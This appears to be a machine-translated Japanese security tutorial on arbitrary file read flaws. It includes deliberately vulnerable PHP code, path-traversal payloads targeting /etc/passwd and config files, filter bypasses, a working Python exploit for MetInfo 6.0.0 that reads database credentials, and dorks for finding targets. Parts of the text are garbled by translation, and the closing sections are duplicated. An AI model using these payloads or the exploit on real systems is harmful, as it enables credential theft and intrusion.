任意のファイル読み取りと脆弱性再現

任意のファイルを読み取る

1。概要

Web サイトによっては、ニーズに応じてファイルの表示およびダウンロード機能を提供する場合があります。ユーザーが表示またはダウンロードできるファイルに制限がない場合、または制限が回避されている場合は、任意のファイルを表示またはダウンロードできます。これらのファイルは、コード ファイル、構成ファイル、機密ファイルなどです。

  • 任意のファイルの読み取りは、(機密) 情報の漏洩につながる可能性があります。
  • 任意のファイル読み取りは、主に RCE、ディレクトリ トラバーサル、ファイル インクルードなどの他の脆弱性によって引き起こされます。
  • ファイルの読み取りとファイルのダウンロードには基本的に違いはなく、情報は常にサービスからブラウザに流れます。

ファイルの読み取りとダウンロードは形式が異なる場合がありますが、読み取りとダウンロードの間には本質的に違いはなく、アクセス許可の観点から見ると、読み取りとダウンロードの両方に読み取りアクセス許可が必要です。

1.1 脆弱性の原因

任意のファイルの読み取りまたは任意のファイルのダウンロードのどちらであっても、脆弱性が引き起こされる条件は同じです。

  • ファイルを読み取るための関数 (関数) があります。つまり、Web アプリケーションがファイル読み取り関数を開きます。
  • ファイルを読み取るパスはクライアントによって制御可能であり、ファイル パス パラメーターを完全に制御または影響します。
  • ファイル パスが検証されていないか、検証が厳密ではないため、検証がバイパスされます。
  • ファイルの内容が出力されます。

1.2 脆弱性の危険性

ソース コード ファイル、システムに依存するファイル、構成ファイルなどを含むサーバー ファイルをダウンロードします。

他の脆弱性と組み合わせて、完全な攻撃チェーンを形成する可能性があります。ソース コード ファイルに対してコード監査を実施して、より多くの脆弱性を見つけます。任意のファイルを読み取り、目的のファイルをダウンロードします。

  • ソースコード
  • 設定ファイル
  • 機密文書
  • ログファイル

1.3 脆弱性の分類

  • 任意のファイルを読み取る
  • 任意のファイルのダウンロード

1.4 任意のファイルを読み込む

1.4.1 ファイルの読み込み

ファイルを読み取る関数 機能特性
読み取りファイル()
内蔵の出力機能でファイルの内容を直接読み取ります。
file_get_contents() ファイルの内容を直接読み取るには、
読み取った内容を出力する必要があります
フレッド() ファイルを開く
ファイルサイズを計算する ファイルを
読み取る ファイルを
出力する
ファイルを閉じる

読み取りファイル:

// readfile.php

$fp = "../phpinfo.php";	//路径,phpinfo.php文件的路径
readfile($fp);	//读取这个路径下的文件

phpstudyのルートディレクトリに新しいread_fileフォルダを作成し、そのフォルダ内に新しいfile_read.phpファイルを作成します。

ファイルの内容は上記のコード内容ですので、保存に成功したらこのファイルにアクセスしてください。

http://192.168.16.136/read_file/file_read.php

アクセス結果は白紙ページです。コードを見ると、$fp パスの下のファイルの内容は読み取られていますが、実行されていないことがわかりました。

画像-20230831163606979

画像-20230831163637557

ファイル取得コンテンツ:

// file_get_contents.php

$fp = "../phpinfo.php"; 
echo file_get_contents($fp);

read_file フォルダーに新しい file_get_contents.php ファイルを作成します。

ファイルの内容は上記のコード内容ですので、保存に成功したらこのファイルにアクセスしてください。

http://192.168.16.136/read_file/file_get_contents.php

アクセス結果は白紙ページです。コードを見ると、$fp パスの下のファイルの内容は読み取られていますが、実行されていないことがわかりました。

画像-20230831164156780

画像-20230831164308299

恐怖:

// fread.php

$fp = "../phpinfo.php";

$f = fopen($fp,'r');	//读取文件前,先把$fp中保存的路径中的文件打开
$f_size = filesize($fp); 	//计算$fp这个路径下文件大小
echo fread($f, $f_size); 	//从打开的$f这个文件按照一定的大小去读
fclose($f);		//读取完成后,关闭文件,否则浪费资源

read_file フォルダーに新しい fread.php ファイルを作成します。

ファイルの内容は上記のコード内容ですので、保存に成功したらこのファイルにアクセスしてください。

http://192.168.16.136/read_file/fread.php

アクセス結果は白紙ページです。コードを見ると、$fp パスの下のファイルの内容は読み取られていますが、実行されていないことがわかりました。

画像-20230831164616420

画像-20230831164633193

1.4.2 任意のファイル読み込み

変数 $fp は、GET メソッドで渡されたファイルパス パラメーターをキャプチャします。

$fp = @$_GET['filepath'];
<?php 
//$fp = "../phpinfo.php";	//路径,phpinfo.php文件的路径
$fp = @$_GET['filepath'];	//通过filepath这个参数传递数据给$fp
readfile($fp);	//读取这个路径下的文件
?>

filepath パラメーターが空であるため、ページにアクセスするとエラーになります。filepath パラメーターに値 filepath=.../phpinfo.php を割り当てます。

画像-20230831170044552

F12 を開き、「ロード」をクリックしてパラメータを入力します。viwe-source:これは、次の URL がコード形式で表示されることを意味します。

view-source:http://192.168.16.136/read_file/file_read.php?filepath=../phpinfo.php

画像-20230831170711430

ファイルパスはクライアントによって制御可能ですが検証されていないため、任意のファイルを読み取る脆弱性が発生する可能性があります。

?filepath=index.php 

?filepath=/etc/passwd

?filepath=c:\windows\system32\drivers\etc\hosts

?filepath=c:\phpstudy_2016\apache\conf\httpd.conf 

?filepath=c:\phpstudy_2016\mysql\my.ini

?filepath=../../../../../../../../../../phpstudy_2016/www/phpinfo.php 

?filePath=../../../../../../../../windows\system32\drivers\etc\hosts

?filePath=../../../../../../etc/hosts

1.4.3 一般的な権限

画像-20230831094417949

Windows + IIS + ASP/ASPX の低い権限

Windows + Apache +PHP の高い権限

Windows + Java は間違いなく高権限です

Linux + Apache + PHP 低権限

Linux + Nginx + PHP 必ずしも必要ではありません (より高いか、より低い可能性があります)

Linux + Java は間違いなく高い権限です

1.5 任意のファイルをダウンロードする

1.5.1 一般的な状況

直接ダウンロード: 例: 画像に名前を付けて保存します。

ラベルのダウンロード:

<a href = './a.jpg'>IMG Download</a>

1.5.2 PHPの実装

PHP ファイルのダウンロード実装プロセス:

  • まずファイルを読んでください

  • 出力ファイル内

  • ダウンロード可能

// file-download.php

$fp = './a.jpg';
header('Content-Type:image/jpg');
header('Content-Disposition:attachment;fileName='.basename($fp)); 
readfile($fp);

1.5.3 任意のファイルをダウンロードする

ファイルをダウンロードするための条件:

  • 既知のターゲット ファイル パス

  • ターゲット ファイル パス、クライアント制御可能

  • 検証されていない、または検証が厳密ではない

$fp = $_GET['filepath'];

2. 任意のファイル読み取り攻撃と防御

2.1 パスフィルタリング

2.1.1 フィルター…/

$fp = @$_GET['filepath'];
$fp = str_replace("../","",$fp); 
readfile($fp);
<?php 
//$fp = "../phpinfo.php";	//路径,phpinfo.php文件的路径
$fp = @$_GET['filepath'];
$fp = str_replace("../","",$fp);    //将../替换为空
readfile($fp);	//读取这个路径下的文件
?>

アクセス

view-source:http://192.168.16.136/read_file/file_read.php?filepath=....//phpinfo.php

画像-20230831171650209

結果はエラーでした。

2.2 単純なバイパス

2.2.1 二重書き込みバイパス

?filepath=..././..././..././..././..././windows\system32\drivers\etc\hosts

画像-20230901104519401

2.2.2 絶対パス

?filepath=c:/windows\system32\drivers\etc\hosts

画像-20230831172207321

2.2.3 使用方法…\

?filepath=..\..\..\..\..\windows\system32\drivers\etc\hosts

画像-20230831172239733

2.2.4 ホワイトリストの設定

a.php、b.php、c.phpの3つのファイルを設定した場合

<?php 
//$fp = "../phpinfo.php";	//路径,phpinfo.php文件的路径
$fp = @$_GET['filepath'];
if($fp == 'a.php' or $fp == 'b.php' or $fp == 'c.php')
{
    
    
    readfile($fp);
}
else
{
    
    
    echo "Please stop!";
}
?>

画像-20230831173046071

画像-20230831173105886

3. 任意のファイルの読み取りとマイニング

3.1 手作業による掘削

ファイル名から判断すると パラメータ名から判断すると
readfile.php
filedownload.php
filelist.php
f=
ファイル=
ファイルパス=
fp=
読み取り
ファイルパス=
読み取りパス
url=
メニュー=
META-INF=
WEB-INF=
コンテンツ=

上記の内容は任意のファイル読み取りのために存在する可能性があります

3.2 典型的なケース

metinfo_6.0.0_ファイル読み取り

3.2.1 脆弱性の説明

MetInfo は、PHP と MySQL を使用して開発されたコンテンツ管理システムです。MetInfo バージョン 6.0.0 のファイルには、/app/system/include/module/old_thumb.class.php任意のファイルを読み取る脆弱性が存在します。攻撃者はこの脆弱性を悪用して、Web サイト上の機密ファイルを読み取る可能性があります。

3.2.2 脆弱性レベル

リスクが高い

3.2.3 影響を受けるバージョン

  • メットインフォ 6.0.0

3.2.4 脆弱性の再発

3.2.4.1 基本環境
コンポーネント バージョン
OS Microsoft Windows Server 2016 標準
ウェブサーバー phpスタディ2016
メットインフォ 6.0.0

画像-20230831114004784

3.2.4.2 脆弱性

このリンクにアクセスしてください

/include/thumb.php
http://192.168.16.136/metinfo_6.0.0/include/thumb.php

画像-20230831191806471

bp はデフォルトではイメージをキャプチャしないため、パケットをキャプチャするには bp を使用します。イメージを追加するにはフィルタを変更します。

画像-20230831114253372

Ctrl+R はパケットを再送信者に送信します。

画像-20230831114626068

最初のテスト

/include/thumb.php?dir=..././http/..././config/config_db.php

データベース構成ファイルを読み取ります。

画像-20230831115420766

読み取りに失敗しました。

二次試験

/include/thumb.php?dir=.....///http/.....///config/config_db.php

データベース構成ファイルを読み取ります。

画像-20230831115712398

読み取りに失敗しました

3回目のテスト

/include/thumb.php?dir=http/.....///.....///config/config_db.php

データベース構成ファイルを読み取ります。

画像-20230831115759567

読み取りに失敗しました

4回目のテスト

/include/thumb.php?dir=http\..\..\config\config_db.php

データベース構成ファイルを読み取ります。

画像-20230831115829577

正常に読み取られました

知らせ:

このポリシーは Windows システムにのみ適用され、Linux システムでは無効です。

3.2.4.3 高度な利用

EXP書き込み

import requests
import sys

banner = """
MetInfo 6.0.0
    ___________.__.__           __________                   .___
    \_   _____/|__|  |   ____   \______   \ ____ _____     __| _/
    |    __)  |  |  | _/ __ \   |       _// __ \\__  \   / __ | 
    |     \   |  |  |_\  ___/   |    |   \  ___/ / __ \_/ /_/ | 
    \___  /   |__|____/\___  >  |____|_  /\___  >____  /\____ | 
        \/                 \/          \/     \/     \/      \/ 
                                                        - AJEST
Usage: python3 *.py http://192.168.16.136/metinfo_6.0.0
"""

headers = {
    
    
    "User-Agent":   "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.5195.102 Safari/537.36"
}

dir_list = [
    "..././http/..././config/config_db.php",
    ".....///http/.....///config/config_db.php",
    "http/.....///.....///config/config_db.php",
    "http\..\..\config\config_db.php"
]

def attack(host):
    vul = "/include/thumb.php"
    url = host + vul

    res = requests.get(url = url, headers = headers)

    if res.status_code != 200:
        print(f"[INFO] {
      
      vul} is Not Exists!")
        exit()

    print(f"[INFO] {
      
      vul} is Exists!")

    for param in dir_list:
        params = {
    
    
            "dir":  param 
        }

        res = requests.get(url = url, params = params, headers = headers)

        print(f"[INFO] Test URL: {
      
      res.url}")

        if "<?php" in res.text:
            print("[RESULT] The target is vulnreable!")
            print(f"[RESULT]\n{
      
      res.text}")
            break

if len(sys.argv) < 2:
    print(banner)
    exit()

host = sys.argv[1]

attack(host = host)

kali で新しい exp.py ファイルを作成し、上記の内容を exp.py ファイルにコピーし、cms を終了せずに exp.py ファイルを実行します。

sudo python3 *.py http://192.168.16.136/metinfo_6.0.0/

画像-20230831191420228

3.2.4.4 指紋情報

従来の検索エンジン

Powered by MetInfo 6.0.0
intext:"Powered by MetInfo 6.0.0" inurl:"tw"

飛ぶ

app="metinfo"

ズームアイ

app:"MetInfo"
app:"MetInfo"+os:"Windows"
3.2.4.5 パッチの推奨事項
  • パッチ
  • アップグレード
  • デバイス上で

4. 脆弱性修正計画

4.1 入力と出力

Web ユーザーが必要なファイルとパスにのみアクセス (読み取り) できるようにします。(ホワイトリスト)

4.2 他の脆弱性を回避する

他の脆弱性は、任意のファイル読み取りの脆弱性を引き起こす可能性があります

ファイルインクルードの脆弱性、ディレクトリトラバーサルの脆弱性、またはその他の脆弱性が存在することはできません。

4.3 ファイルアクセス範囲を制限する

  • ユーザーが Web ルート ディレクトリ以外のパスにアクセスできないようにします。

  • php.ini 設定ファイルでは、 open_basedir オプションを使用してファイル アクセスの範囲を制限できます。

open_basedir = C:\phpStudy_20161103\WWW

php がファイルを読み取る場合、アクセス範囲は C ドライブに制限されます。

php.ini設定を一時的に変更する

ini_set("open_basedir","C:\phpStudy_20161103\WWW");

画像-20230831174855170

ただし、他のファイルを読み取ることはできませんが、それ自体は読み取ることができるというリスクがまだあります。その後、設定されたすべての情報が公開されます。

画像-20230831175951627

したがって、フィルタリング、ホワイトリスト、および制限付きファイルの防止を包括的に使用する必要があります。

5. 参考リンク

https://github.com/lijiejie/ds_store_exp https://blog.csdn.net/GitChat/article/details/79014538 https://www.secpulse.com/archives/124398.html https://github.com/kost/dvcs-ripper https://github.com/lijiejie/GitHack http://www.vuln.cn/2225 https://github.com/admintony/svnExploit https://www.freebuf.com/vuls/181698.html 

php.ini設定を一時的に変更する

ini_set("open_basedir","C:\phpStudy_20161103\WWW");

ここに画像の説明を挿入します

ただし、他のファイルを読み取ることはできませんが、それ自体は読み取ることができるというリスクがまだあります。その後、設定されたすべての情報が公開されます。

ここに画像の説明を挿入します

したがって、フィルタリング、ホワイトリスト、および制限付きファイルの防止を包括的に使用する必要があります。

5. 参考リンク

https://github.com/lijiejie/ds_store_exp https://blog.csdn.net/GitChat/article/details/79014538 https://www.secpulse.com/archives/124398.html https://github.com/kost/dvcs-ripper https://github.com/lijiejie/GitHack http://www.vuln.cn/2225 https://github.com/admintony/svnExploit https://www.freebuf.com/vuls/181698.html 

おすすめ

転載: blog.csdn.net/weixin_58954236/article/details/132642938